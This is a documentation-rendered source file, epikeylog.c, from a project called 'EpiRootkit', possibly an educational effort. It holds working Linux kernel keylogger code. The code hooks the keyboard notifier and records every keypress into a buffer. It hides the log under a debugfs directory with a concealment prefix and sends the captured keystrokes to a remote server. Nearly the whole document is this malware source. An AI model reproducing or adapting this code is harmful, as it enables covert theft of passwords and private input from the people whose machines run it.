EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
epikeylog.c
Go to the documentation of this file.
1#include <linux/debugfs.h>
2#include <linux/init.h>
3#include <linux/input.h>
4#include <linux/kernel.h>
5#include <linux/keyboard.h>
6#include <linux/module.h>
7#include <linux/moduleparam.h>
8
9#include "epirootkit.h"
10#include "io.h"
11
12// Maximum size for a single character in the keymap
13// 12 bytes because of the longest key string (e.g., "_BACKSPACE_")
14#define MAX_CHAR_SIZE 12
15
16// Key mapping for US keyboard layout
17static const char *keymap[][2] = {
18 // keycode: [unshifted, shifted]
19 { "\0", "\0" },
20 { "_ESC_", "_ESC_" },
21 { "1", "!" },
22 { "2", "@" },
23 { "3", "#" },
24 { "4", "$" },
25 { "5", "%" },
26 { "6", "^" },
27 { "7", "&" },
28 { "8", "*" },
29 { "9", "(" },
30 { "0", ")" },
31 { "-", "_" },
32 { "=", "+" },
33 { "_BACKSPACE_", "_BACKSPACE_" },
34 { "_TAB_", "_TAB_" },
35 { "q", "Q" },
36 { "w", "W" },
37 { "e", "E" },
38 { "r", "R" },
39 { "t", "T" },
40 { "y", "Y" },
41 { "u", "U" },
42 { "i", "I" },
43 { "o", "O" },
44 { "p", "P" },
45 { "[", "{" },
46 { "]", "}" },
47 { "\n", "\n" },
48 { "_LCTRL_", "_LCTRL_" },
49 { "a", "A" },
50 { "s", "S" },
51 { "d", "D" },
52 { "f", "F" },
53 { "g", "G" },
54 { "h", "H" },
55 { "j", "J" },
56 { "k", "K" },
57 { "l", "L" },
58 { ";", ":" },
59 { "'", "\"" },
60 { "`", "~" },
61 { "_LSHIFT_", "_LSHIFT_" },
62 { "\\", "|" },
63 { "z", "Z" },
64 { "x", "X" },
65 { "c", "C" },
66 { "v", "V" },
67 { "b", "B" },
68 { "n", "N" },
69 { "m", "M" },
70 { ",", "<" },
71 { ".", ">" },
72 { "/", "?" },
73 { "_RSHIFT_", "_RSHIFT_" },
74 { "_PRTSCR_", "_KPD*_" },
75 { "_LALT_", "_LALT_" },
76 { " ", " " },
77 { "_CAPS_", "_CAPS_" },
78 { "F1", "F1" },
79 { "F2", "F2" },
80 { "F3", "F3" },
81 { "F4", "F4" },
82 { "F5", "F5" },
83 { "F6", "F6" },
84 { "F7", "F7" },
85 { "F8", "F8" },
86 { "F9", "F9" },
87 { "F10", "F10" },
88 { "_NUM_", "_NUM_" },
89 { "_SCROLL_", "_SCROLL_" },
90 { "_KPD7_", "_HOME_" },
91 { "_KPD8_", "_UP_" },
92 { "_KPD9_", "_PGUP_" },
93 { "-", "-" },
94 { "_KPD4_", "_LEFT_" },
95 { "_KPD5_", "_KPD5_" },
96 { "_KPD6_", "_RIGHT_" },
97 { "+", "+" },
98 { "_KPD1_", "_END_" },
99 { "_KPD2_", "_DOWN_" },
100 { "_KPD3_", "_PGDN" },
101 { "_KPD0_", "_INS_" },
102 { "_KPD._", "_DEL_" },
103 { "_SYSRQ_", "_SYSRQ_" },
104 { "\0", "\0" },
105 { "\0", "\0" },
106 { "F11", "F11" },
107 { "F12", "F12" },
108 { "\0", "\0" },
109 { "\0", "\0" },
110 { "\0", "\0" },
111 { "\0", "\0" },
112 { "\0", "\0" },
113 { "\0", "\0" },
114 { "\0", "\0" },
115 { "_KPENTER_", "_KPENTER_" },
116 { "_RCTRL_", "_RCTRL_" },
117 { "/", "/" },
118 { "_PRTSCR_", "_PRTSCR_" },
119 { "_RALT_", "_RALT_" },
120 { "\0", "\0" },
121 { "_HOME_", "_HOME_" },
122 { "_UP_", "_UP_" },
123 { "_PGUP_", "_PGUP_" },
124 { "_LEFT_", "_LEFT_" },
125 { "_RIGHT_", "_RIGHT_" },
126 { "_END_", "_END_" },
127 { "_DOWN_", "_DOWN_" },
128 { "_PGDN", "_PGDN" },
129 { "_INS_", "_INS_" },
130 { "_DEL_", "_DEL_" },
131 { "\0", "\0" },
132 { "\0", "\0" },
133 { "\0", "\0" },
134 { "\0", "\0" },
135 { "\0", "\0" },
136 { "\0", "\0" },
137 { "\0", "\0" },
138 { "_PAUSE_", "_PAUSE_" }
139};
140
141// Module state
142static bool is_running = false;
143
144// Debugfs structures
145static struct dentry *file;
146static struct dentry *subdir;
147
148// Keylog buffer structure
150 size_t pos;
151 size_t size;
152 char *buf;
153};
154
155static struct keylog_buffer keylog_buf = {
156 .pos = 0,
157 .size = 0,
158 .buf = NULL,
159};
160
170static ssize_t keys_read(struct file *filp, char *buffer, size_t len,
171 loff_t *offset) {
172 return simple_read_from_buffer(buffer, len, offset, keylog_buf.buf,
174}
175
176const struct file_operations keys_fops = {
177 .owner = THIS_MODULE,
178 .read = keys_read,
179};
180
188static void keycode_to_string(int keycode, int shift_mask, char *buf) {
189 if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
190 const char *key = shift_mask ? keymap[keycode][1] : keymap[keycode][0];
191 snprintf(buf, MAX_CHAR_SIZE, "%s", key);
192 }
193}
194
203static int epikeylog_callback(struct notifier_block *nblock, unsigned long code,
204 void *_param) {
205 size_t len;
206 char keybuf[MAX_CHAR_SIZE] = { 0 };
207 struct keyboard_notifier_param *param = _param;
208
209 // Only process key presses
210 if (!param->down)
211 return NOTIFY_OK;
212
213 keycode_to_string(param->value, param->shift, keybuf);
214 len = strlen(keybuf);
215 if (len < 1)
216 return NOTIFY_OK;
217
218 // Resize buffer if necessary
219 if (keylog_buf.pos + len >= keylog_buf.size) {
220 size_t new_size = keylog_buf.size + STD_BUFFER_SIZE;
221 char *new_buf = krealloc(keylog_buf.buf, new_size, GFP_KERNEL);
222 if (!new_buf) {
223 ERR_MSG("epikeylog_callback: memory reallocation failed\n");
224 return NOTIFY_BAD;
225 }
226 keylog_buf.buf = new_buf;
227 keylog_buf.size = new_size;
228 }
229
230 strncpy(keylog_buf.buf + keylog_buf.pos, keybuf, len);
231 keylog_buf.pos += len;
232
233 pr_debug("%s\n", keybuf);
234 return NOTIFY_OK;
235}
236
237// Notifier block for keyboard events
238static struct notifier_block epikeylog_blk = {
239 .notifier_call = epikeylog_callback,
240};
241
246 if (!is_running) {
247 DBG_MSG("epikeylog_send_to_server: not running\n");
249 TCP,
250 "epikeylog_send_to_server: not running. Activate it with `klgon`.\n");
251 return -EBUSY;
252 }
253
254 char *full_cmd = kzalloc(PATH_MAX, GFP_KERNEL);
255 if (!full_cmd) {
256 ERR_MSG("epikeylog_send_to_server: command memory allocation failed\n");
257 return -ENOMEM;
258 }
259
260 snprintf(full_cmd, PATH_MAX, "cat /sys/kernel/debug/%sklg/keys",
262 exec_str_as_command(full_cmd, true);
263
264 char *keys_content;
265 int readed_size = _read_file(STDOUT_FILE, &keys_content);
266 int ret_code = send_to_server_raw(keys_content, readed_size);
267
268 DBG_MSG("epikeylog_send_to_server: keylogger content sent\n");
269
270 kfree(full_cmd);
271 kfree(keys_content);
272
273 return ret_code;
274}
275
280static int prepare_dbgfs(void) {
281 char *dir_name = kzalloc(PATH_MAX, GFP_KERNEL);
282 if (!dir_name) {
283 ERR_MSG("prepare_dbgfs: directory name allocation failed\n");
284 return -ENOMEM;
285 }
286
287 snprintf(dir_name, PATH_MAX, "%s%s", HIDDEN_PREFIX, "klg");
288 subdir = debugfs_create_dir(dir_name, NULL);
289 kfree(dir_name);
290
291 if (IS_ERR(subdir) || !subdir) {
292 ERR_MSG("prepare_dbgfs: failed to create debugfs directory\n");
293 return PTR_ERR(subdir);
294 }
295
296 file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
297 if (!file) {
298 ERR_MSG("prepare_dbgfs: failed to create debugfs file\n");
299 debugfs_remove_recursive(subdir);
300 return -ENOENT;
301 }
302
303 return SUCCESS;
304}
305
309static void clean_dbgfs(void) {
310 if (file) {
311 debugfs_remove(file);
312 file = NULL;
313 }
314
315 if (subdir) {
316 debugfs_remove_recursive(subdir);
317 subdir = NULL;
318 }
319}
320
326 DBG_MSG("epikeylog_init: initializing keylogger\n");
327
328 if (is_running) {
329 DBG_MSG("epikeylog_init: already running\n");
330 return SUCCESS;
331 }
332
333 if (prepare_dbgfs() < 0) {
334 ERR_MSG("epikeylog_init: debugfs preparation failed\n");
335 return -ENOENT;
336 }
337
338 keylog_buf.pos = 0;
340 keylog_buf.buf = kzalloc(keylog_buf.size, GFP_KERNEL);
341 if (!keylog_buf.buf) {
342 ERR_MSG("epikeylog_init: keylog buffer allocation failed\n");
343 clean_dbgfs();
344 return -ENOMEM;
345 }
346
347 if (register_keyboard_notifier(&epikeylog_blk) != 0) {
348 ERR_MSG("epikeylog_init: keyboard notifier registration failed\n");
349 clean_dbgfs();
350 return -EIO;
351 }
352
353 is_running = true;
354 DBG_MSG("epikeylog_init: keylogger initialized\n");
355
356 return SUCCESS;
357}
358
363int epikeylog_exit(void) {
364 if (!is_running) {
365 DBG_MSG("epikeylog_exit: already stopped\n");
366 return SUCCESS;
367 }
368
369 if (unregister_keyboard_notifier(&epikeylog_blk) != 0) {
370 ERR_MSG("epikeylog_exit: failed to unregister keyboard notifier\n");
371 return -EIO;
372 }
373
374 if (!subdir || IS_ERR(subdir)) {
375 ERR_MSG("epikeylog_exit: debugfs directory invalid\n");
376 return -EIO;
377 }
378
379 clean_dbgfs();
380
381 if (keylog_buf.buf) {
382 kfree(keylog_buf.buf);
383 keylog_buf.buf = NULL;
384 }
385
386 keylog_buf.pos = 0;
387 keylog_buf.size = 0;
388
389 is_running = false;
390 DBG_MSG("epikeylog_exit: keylogger stopped\n");
391
392 return SUCCESS;
393}
#define STDOUT_FILE
Definition config.h:57
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
@ TCP
Definition config.h:29
#define STD_BUFFER_SIZE
Definition config.h:68
#define HIDDEN_PREFIX
Definition config.h:54
static int prepare_dbgfs(void)
Prepares the debugfs structures for the keylogger.
Definition epikeylog.c:280
static struct dentry * subdir
Definition epikeylog.c:146
static struct notifier_block epikeylog_blk
Definition epikeylog.c:238
static void clean_dbgfs(void)
Cleans up the debugfs structures.
Definition epikeylog.c:309
static ssize_t keys_read(struct file *filp, char *buffer, size_t len, loff_t *offset)
Definition epikeylog.c:170
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
Definition epikeylog.c:245
static void keycode_to_string(int keycode, int shift_mask, char *buf)
Definition epikeylog.c:188
const struct file_operations keys_fops
Definition epikeylog.c:176
static int epikeylog_callback(struct notifier_block *nblock, unsigned long code, void *_param)
Definition epikeylog.c:203
static bool is_running
Definition epikeylog.c:142
static struct keylog_buffer keylog_buf
Definition epikeylog.c:155
#define MAX_CHAR_SIZE
Definition epikeylog.c:14
static const char * keymap[][2]
Definition epikeylog.c:17
int epikeylog_init()
Initializes the keylogger module.
Definition epikeylog.c:325
static struct dentry * file
Definition epikeylog.c:145
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition epikeylog.c:363
#define exec_str_as_command(user_cmd, catch_stds)
Definition epirootkit.h:37
int _read_file(const char *path, char **out_buf)
Definition io.c:12
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123